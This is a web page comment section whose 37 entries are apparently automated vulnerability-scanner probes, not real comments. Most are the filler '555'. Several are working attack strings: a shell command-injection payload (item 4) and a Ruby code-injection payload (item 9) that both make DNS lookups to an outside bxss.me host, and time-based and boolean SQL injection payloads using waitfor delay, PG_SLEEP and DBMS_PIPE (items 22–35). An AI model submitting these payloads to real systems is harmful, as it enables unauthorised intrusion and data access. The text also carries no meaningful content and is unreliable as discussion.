37 Comments

1. 555

2. 555

3. 555

4. ;(nslookup hittskooqeqxt22a40.bxss.me||perl -e “gethostbyname(‘hittskooqeqxt22a40.bxss.me’)”)|(nslookup hittskooqeqxt22a40.bxss.me||perl -e “gethostbyname(‘hittskooqeqxt22a40.bxss.me’)”)&(nslookup hittskooqeqxt22a40.bxss.me||perl -e “gethostbyname(‘hittskooqeqxt22a40.bxss.me’)”)

5. 555

6. 555

8. 555

9. ‘+’A’.concat(70-3).concat(22*4).concat(103).concat(80).concat(115).concat(74)+(require’socket’
   Socket.gethostbyname(‘hitee’+’xmbtgcdw09342.bxss.me.’)[3].to_s)+’

10. 1some_inexistent_file_with_long_name.jpg

11. 555

12. 555

13. 555

14. 555

15. 555

16. 555

17. 555

18. 555

19. 555

20. 555

21. 4I1S1Jcd

22. -1 OR 2+780-780-1=0+0+0+1

23. 555 RLIKE (SELECT (CASE WHEN (18=18) THEN 1 ELSE 0x28 END)) —

24. -1; waitfor delay ‘0:0:15’ —

25. -1); waitfor delay ‘0:0:15’ —

26. 1 waitfor delay ‘0:0:15’ —

27. QjRcU8Ib’; waitfor delay ‘0:0:15’ —

28. -5 OR 695=(SELECT 695 FROM PG_SLEEP(15))–

29. -5) OR 354=(SELECT 354 FROM PG_SLEEP(15))–

30. -1)) OR 672=(SELECT 672 FROM PG_SLEEP(15))–

31. bUjXo0px’ OR 902=(SELECT 902 FROM PG_SLEEP(15))–

32. FFFGtQIt’) OR 834=(SELECT 834 FROM PG_SLEEP(15))–

33. SSTuNRmo’)) OR 108=(SELECT 108 FROM PG_SLEEP(15))–

34. 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

35. 555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

36. 555

37. 555